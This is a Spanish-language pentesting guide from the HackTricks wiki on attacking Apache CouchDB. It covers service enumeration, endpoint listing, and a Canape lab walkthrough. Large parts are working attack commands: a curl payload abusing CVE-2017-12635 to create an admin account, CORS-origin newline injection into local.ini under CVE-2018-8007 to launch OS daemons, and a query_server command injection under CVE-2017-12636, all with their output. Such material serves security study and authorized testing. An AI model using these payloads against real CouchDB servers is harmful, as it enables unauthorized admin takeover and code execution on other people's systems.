hacktricks/network-services-pentesting/5984-pentesting-couchdb.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

20 KiB

5984,6984 - Pentesting CouchDB

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Información básica

CouchDB es una base de datos orientada a documentos y dentro de cada documento los campos se almacenan como mapas clave-valor. Los campos pueden ser un par clave/valor simple, una lista o un mapa.

Cada documento que se almacena en la base de datos recibe un identificador único a nivel de documento (_id) y un número de revisión (_rev) para cada cambio que se realiza y se guarda en la base de datos.

Puerto predeterminado: 5984 (http), 6984 (https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

Enumeración Automática

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

Enumeración Manual

Banner

curl http://IP:5984/

Esto emite una solicitud GET a una instancia de CouchDB instalada. La respuesta debería verse algo como uno de los siguientes:

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

{% hint style="info" %} Ten en cuenta que si accedes a la raíz de CouchDB y recibes un 401 Unauthorized con algo como esto: {"error":"unauthorized","reason":"Authentication required."} no podrás acceder al banner ni a ningún otro endpoint. {% endhint %}

Enumeración de información

Estos son los endpoints a los que puedes acceder con una solicitud GET y extraer información interesante. Puedes encontrar más endpoints y descripciones más detalladas en la documentación de CouchDB.

  • /_active_tasks Lista de tareas en ejecución, incluyendo el tipo de tarea, nombre, estado e ID de proceso.
  • **/_all_dbs**Devuelve una lista de todas las bases de datos en la instancia de CouchDB.
  • **/_cluster_setup**Devuelve el estado del nodo o clúster, según el asistente de configuración del clúster.
  • /_db_updates Devuelve una lista de todos los eventos de la base de datos en la instancia de CouchDB. La existencia de la base de datos _global_changes es necesaria para usar este endpoint.
  • /_membership Muestra los nodos que forman parte del clúster como cluster_nodes. El campo all_nodes muestra todos los nodos que este nodo conoce, incluyendo los que forman parte del clúster.
  • /_scheduler/jobs Lista de trabajos de replicación. Cada descripción de trabajo incluirá información de origen y destino, ID de replicación, un historial de eventos recientes y algunas otras cosas.
  • /_scheduler/docs Lista de estados de documentos de replicación. Incluye información sobre todos los documentos, incluso en estados completados y fallidos. Para cada documento devuelve el ID del documento, la base de datos, el ID de replicación, origen y destino, y otra información.
  • /_scheduler/docs/{replicator_db}
  • /_scheduler/docs/{replicator_db}/{docid}
  • /_node/{node-name} El endpoint /_node/{node-name} se puede utilizar para confirmar el nombre del nodo Erlang del servidor que procesa la solicitud. Esto es más útil al acceder a /_node/_local para recuperar esta información.
  • /_node/{node-name}/_stats El recurso _stats devuelve un objeto JSON que contiene las estadísticas del servidor en ejecución. La cadena literal _local sirve como un alias para el nombre del nodo local, por lo que para todas las URL de estadísticas, {node-name} se puede reemplazar con _local, para interactuar con las estadísticas del nodo local.
  • /_node/{node-name}/_system El recurso _system devuelve un objeto JSON que contiene varias estadísticas a nivel de sistema para el servidor en ejecución. Puedes usar ___local como {node-name} para obtener información del nodo actual.
  • /_node/{node-name}/_restart
  • /_up Confirma que el servidor está en funcionamiento y listo para responder a las solicitudes. Si maintenance_mode es true o nolb, el endpoint devolverá una respuesta 404.
  • **/_uuids**Solicita uno o más Identificadores Únicos Universales (UUID) de la instancia de CouchDB.
  • **/_reshard**Devuelve un recuento de trabajos completados, fallidos, en ejecución, detenidos y totales junto con el estado de reorganización en el clúster.

Se puede extraer información más interesante como se explica aquí: https://lzone.de/cheat-sheet/CouchDB

Lista de bases de datos

curl -X GET http://IP:5984/_all_dbs

Si la solicitud responde con un 401 no autorizado, entonces necesitas credenciales válidas para acceder a la base de datos:

curl -X GET http://user:password@IP:5984/_all_dbs

Para encontrar credenciales válidas, podrías intentar realizar un ataque de fuerza bruta al servicio.

Este es un ejemplo de respuesta de CouchDB cuando tienes suficientes privilegios para listar las bases de datos (es solo una lista de bases de datos):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Información de la base de datos

Puedes obtener información de la base de datos (como el número de archivos y tamaños) accediendo al nombre de la base de datos:

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

Lista de Documentos

Lista cada entrada dentro de una base de datos.

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

Leer Documento

Leer el contenido de un documento dentro de una base de datos:

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

Escalada de privilegios en CouchDB CVE-2017-12635

Gracias a las diferencias entre los analizadores JSON de Erlang y JavaScript, se puede crear un usuario administrador con credenciales hacktricks:hacktricks con la siguiente solicitud:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

Más información sobre esta vulnerabilidad aquí.

RCE de CouchDB

En la documentación de CouchDB, en la sección de configuración de clúster, se habla de los diferentes puertos utilizados por CouchDB:

CouchDB en modo clúster utiliza el puerto 5984 al igual que en modo independiente, pero también utiliza el puerto 5986 para las APIs locales del nodo.

Erlang utiliza el puerto TCP 4369 (EPMD) para encontrar otros nodos, por lo que todos los servidores deben poder comunicarse entre sí en este puerto. En un clúster de Erlang, todos los nodos están conectados a todos los demás nodos. Una malla.

Y luego hay una advertencia interesante:

1536931232858

Si miramos en la lista de procesos, podemos ver esa cookie, "monster":

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

Puedes leer esta sección para aprender cómo abusar de las cookies de Erlangs para obtener RCE.
Además, puedes leer algunos writeups de la máquina Canape HTB como este para ver y practicar cómo explotar esta vulnerabilidad.

Éxito en CVE-2018-8007 con permisos de escritura en local.ini

Al escribir esta publicación, encontré un nuevo CVE que había sido lanzado para CouchDB por mdsec, CVE-2018-8007. También requiere escrituras en el archivo local.ini, por lo que no es una opción útil para Canape. Pero como ya lo hemos hecho escribible como root, veamos si podemos hacer que funcione.

Comenzamos con un local.ini limpio y ahora escribible (y una copia de seguridad):

root@canape:/home/homer/etc# ls -l
total 40
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

Podemos usar curl para modificar los orígenes en el archivo local.ini. La vulnerabilidad aquí es que si usamos curl para poner un nuevo origen y luego nuevas líneas, podemos escribir cosas adicionales, incluyendo una nueva cabecera y detalles. Así que aprovecharemos el campo [os_daemons] y agregaremos un proceso para que CouchDB intente seguir funcionando:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

En la shell de root, podemos ver qué cambios se han producido:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
<
< [cors]
< origins = 0xdf
<
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

Y sin embargo, el archivo no está ahí:

root@canape:/home/homer/etc# ls /tmp/0xdf
ls: cannot access '/tmp/0xdf': No such file or directory

Si observamos los procesos en ejecución con "couchdb" en la línea de comandos, no solo vemos la línea de comando que nos da el valor de la cookie que usamos anteriormente, sino también runsrv couchdb:

root@canape:/home/homer/bin# ps aux | grep couch
root        711  0.0  0.0   4240   696 ?        Ss   14:28   0:00 runsv couchdb
root        728  0.0  0.0   4384   812 ?        S    14:28   0:00 svlogd -tt /var/log/couchdb
homer      1785  0.8  3.1 638992 31248 ?        Sl   17:55   0:01 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/bin/.. -progname couchdb -- -home /home/homer -- -boot /home/homer/bi
n/../releases/2.0.0/couchdb -name couchdb@localhost -setcookie monster -kernel error_logger silent -sasl sasl_error_logger false -noshell -noinput -config /home/homer/bin/../releases/2.0.0/sys.config

Si matamos ese proceso, vuelve a aparecer de inmediato (observa el nuevo pid):

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ps aux | grep runsrv
root       2031  0.0  0.0  14224   980 pts/2    S+   18:09   0:00 grep --color=auto runsrv

Y, al reiniciar, ejecuta los OS_Daemons:

root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

Intento exitoso a través de CVE-2017-12636 con permisos de escritura en local.ini

CVE-2017-12636 permite la ejecución de código a través del proceso de couchdb. Sin embargo, no funcionará en esta configuración.

Hay algunos POCs por ahí como referencia:

Necesitaríamos escribir un nuevo query_server y luego invocarlo. Cuando se lanzó Canape, la mayoría de los POC eran para couchdb 1.x, pero esta caja está ejecutando la versión 2, por lo que la ruta de query_servers de la mayoría de los POC no existe. Eso ha cambiado ahora, pero seguiremos los mismos pasos. Primero, obtenga la versión y muestre que la ruta 1.X no existe:

www-data@canape:/var/www/git$ curl http://localhost:5984
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_config/query_servers/
{"error":"not_found","reason":"Database does not exist."}

Actualización con la nueva ruta para la versión 2.0:

www-data@canape:/var/www/git$ curl 'http://0xdf:df@localhost:5984/_membership'
{"all_nodes":["couchdb@localhost"],"cluster_nodes":["couchdb@localhost"]}

www-data@canape:/var/www/git$ curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers
{"coffeescript":"./bin/couchjs ./share/server/main-coffee.js","javascript":"./bin/couchjs ./share/server/main.js"}

Desde allí, deberíamos agregar un query_server y luego invocarlo, pero no podemos hacerlo.

www-data@canape:/var/www/git$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
{"error":"badmatch","reason":"{badrpc,{'EXIT',{{{badmatch,{error,eacces}},\n                  [{config_writer,save_to_file,2,\n                                  [{file,\"src/config_writer.erl\"},{line,38}]},\n                   {config,handle_call,3,[{file,\"src/config.erl\"},{line,222}]},\n                   {gen_server,try_handle_call,4,\n                               [{file,\"gen_server.erl\"},{line,629}]},\n                   {gen_server,handle_msg,5,\n                               [{file,\"gen_server.erl\"},{line,661}]},\n                   {proc_lib,init_p_do_apply,3,\n                             [{file,\"proc_lib.erl\"},{line,240}]}]},\n                 {gen_server,call,\n                             [config,\n                              {set,\"query_servers\",\"cmd\",\n                                   \"/sbin/ifconfig > /tmp/df\",true,nil}]}}}}","ref":1617834159}

Algunas búsquedas en Google muestran que este es un problema de permisos. De hecho, si verificamos con nuestra shell de root, podemos ver que el archivo local.ini no es escribible por nadie, y mucho menos por www-data:

root@canape:/home/home/etc# ls -ls local.ini
8 -r--r--r-- 1 homer homer 4841 Sep 14 17:11 local.ini

Así que esto es un callejón sin salida para Canape. Pero si queremos intentar hacerlo funcionar, podemos hacerlo legible con nuestro acceso de root o homer, y continuar por este camino. Haremos una copia de seguridad del original para poder ver qué cambios se realizan:

root@canape:/# cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
root@canape:/# chmod 666 /home/homer/etc/local.ini

Ahora, volvamos a nuestra shell de www-data:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'
""

Obtenemos el valor previo para el servidor de consulta cmd, lo que significa éxito. Y en la shell raíz, podemos ver que funcionó:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
48c48
< cmd = /sbin/ifconfig > /tmp/df
---
> cmd =

Ahora, deberíamos ser capaces de crear una base de datos, y luego un documento en esa base de datos, y solicitarlo con una vista que mapee nuestro query_server para obtener la ejecución.

Crear base de datos y documento:

www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","god","passwords","simpsons","vultest"]
www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df'
{"ok":true}
www-data@canape:/dev/shm$ curl 'http://0xdf:df@localhost:5984/_all_dbs'
["_global_changes","_metadata","_replicator","_users","df","passwords","simpsons"]

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
{"ok":true,"id":"zero","rev":"1-967a00dff5e02add41819138abb3284d"}

Solicítalo en una vista:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}' -H "Content-Type: application/json"

Resumen

Se puede buscar la base de datos CouchDB en el puerto 5984 utilizando Shodan. Además, se proporcionan referencias a un análisis de vulnerabilidades y a una ejecución de CouchDB. También se incluyen enlaces a recursos adicionales de HackTricks Cloud.